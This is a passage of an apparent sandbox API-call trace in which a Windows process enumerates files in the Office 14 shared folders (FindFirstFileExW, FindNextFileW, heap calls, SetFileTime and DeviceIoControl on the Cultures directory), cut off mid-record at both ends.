ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="")) returned 1 [0235.577] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.577] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.577] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.577] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.577] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.577] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.577] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="")) returned 0 [0235.577] GetLastError () returned 0x12 [0235.577] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0235.577] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0235.578] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.578] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0x305a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEINTL.DLL", cAlternateFileName="")) returned 1 [0235.578] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0xcdb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBCI.DLL", cAlternateFileName="")) returned 1 [0235.578] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x51d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERECR.DLL", cAlternateFileName="")) returned 1 [0235.578] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xd2990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSTR.DLL", cAlternateFileName="")) returned 1 [0235.578] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f139500, ftCreationTime.dwHighDateTime=0x1c69359, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7f139500, ftLastWriteTime.dwHighDateTime=0x1c69359, nFileSizeHigh=0x0, nFileSizeLow=0x19a3ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO210.CHM", cAlternateFileName="")) returned 1 [0235.578] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b06d00, ftCreationTime.dwHighDateTime=0x1ca9127, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe4b06d00, ftLastWriteTime.dwHighDateTime=0x1ca9127, nFileSizeHigh=0x0, nFileSizeLow=0x25b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALRTINTL.DLL", cAlternateFileName="")) returned 1 [0235.578] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xc24a9ec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x269380, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL", cAlternateFileName="")) returned 1 [0235.578] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b30dd00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5b30dd00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0xd980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0235.578] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c620a00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee8f1b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c620a00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x152f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.IDX_DLL", cAlternateFileName="")) returned 1 [0235.578] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xa388, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAPR3.DLL", cAlternateFileName="")) returned 1 [0235.578] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x356f9800, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x356f9800, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OARPMANR.DLL", cAlternateFileName="")) returned 1 [0235.578] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d183e00, ftCreationTime.dwHighDateTime=0x1ca520c, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4d183e00, ftLastWriteTime.dwHighDateTime=0x1ca520c, nFileSizeHigh=0x0, nFileSizeLow=0x795, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.HTM", cAlternateFileName="")) returned 1 [0235.578] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="")) returned 1 [0235.578] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="")) returned 0 [0235.578] GetLastError () returned 0x12 [0235.578] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0235.578] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0235.579] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9061a0) returned 1 [0235.579] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.579] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703dbc00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xd80a4ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x703dbc00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x310788, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1 [0235.579] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd80f11a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xb5db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEDAO.DLL", cAlternateFileName="")) returned 1 [0235.579] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xa990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEERR.DLL", cAlternateFileName="")) returned 1 [0235.579] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xf73a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEES.DLL", cAlternateFileName="")) returned 1 [0235.579] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x6bfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCH.DLL", cAlternateFileName="")) returned 1 [0235.579] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xdbb98, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCL.DLL", cAlternateFileName="")) returned 1 [0235.579] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x53bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBC.DLL", cAlternateFileName="")) returned 1 [0235.579] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODDBS.DLL", cAlternateFileName="")) returned 1 [0235.579] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODEXL.DLL", cAlternateFileName="")) returned 1 [0235.579] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODTXT.DLL", cAlternateFileName="")) returned 1 [0235.579] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8189720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x833a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEOLEDB.DLL", cAlternateFileName="")) returned 1 [0235.579] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96faef00, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd8247e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x96faef00, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x6e398, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACER3X.DLL", cAlternateFileName="")) returned 1 [0235.579] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0xd9c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERCLR.DLL", cAlternateFileName="")) returned 1 [0235.579] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xa8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEREP.DLL", cAlternateFileName="")) returned 1 [0235.579] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82940c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x48990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACETXT.DLL", cAlternateFileName="")) returned 1 [0235.579] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1092c00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xd82ba220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1092c00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x2e8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWDAT.DLL", cAlternateFileName="")) returned 1 [0235.579] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e0c9f00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xcf0c7d40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8e0c9f00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x4dba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSS.DLL", cAlternateFileName="")) returned 1 [0235.579] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82e0380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x7a998, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEXBE.DLL", cAlternateFileName="")) returned 1 [0235.580] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c38700, ftCreationTime.dwHighDateTime=0x1cbc9fc, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x67c38700, ftLastWriteTime.dwHighDateTime=0x1cbc9fc, nFileSizeHigh=0x0, nFileSizeLow=0x5e158, dwReserved0=0x0, dwReserved1=0x0, cFileName="ATLCONV.DLL", cAlternateFileName="")) returned 1 [0235.580] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb10f7500, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0xda5b0540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb10f7500, ftLastWriteTime.dwHighDateTime=0x1cbe56c, nFileSizeHigh=0x0, nFileSizeLow=0x4d67b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Csi.dll", cAlternateFileName="")) returned 1 [0235.580] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef87d800, ftCreationTime.dwHighDateTime=0x1cb8cce, ftLastAccessTime.dwLowDateTime=0xda5d66a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xef87d800, ftLastWriteTime.dwHighDateTime=0x1cb8cce, nFileSizeHigh=0x0, nFileSizeLow=0x1b3980, dwReserved0=0x0, dwReserved1=0x0, cFileName="CsiSoap.dll", cAlternateFileName="")) returned 1 [0235.580] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cultures", cAlternateFileName="")) returned 1 [0235.580] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9061a0 [0235.580] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0235.580] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0235.580] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0235.580] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x906fe8 [0235.580] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x906fe8, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x906fe8, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0235.580] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906fe8) returned 1 [0235.580] NtClose (Handle=0x1bc) returned 0x0 [0235.580] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9061a0) returned 1 [0235.580] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.581] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0235.581] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9061a0 [0235.581] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.581] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9066c8 [0235.581] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0235.581] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.581] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, 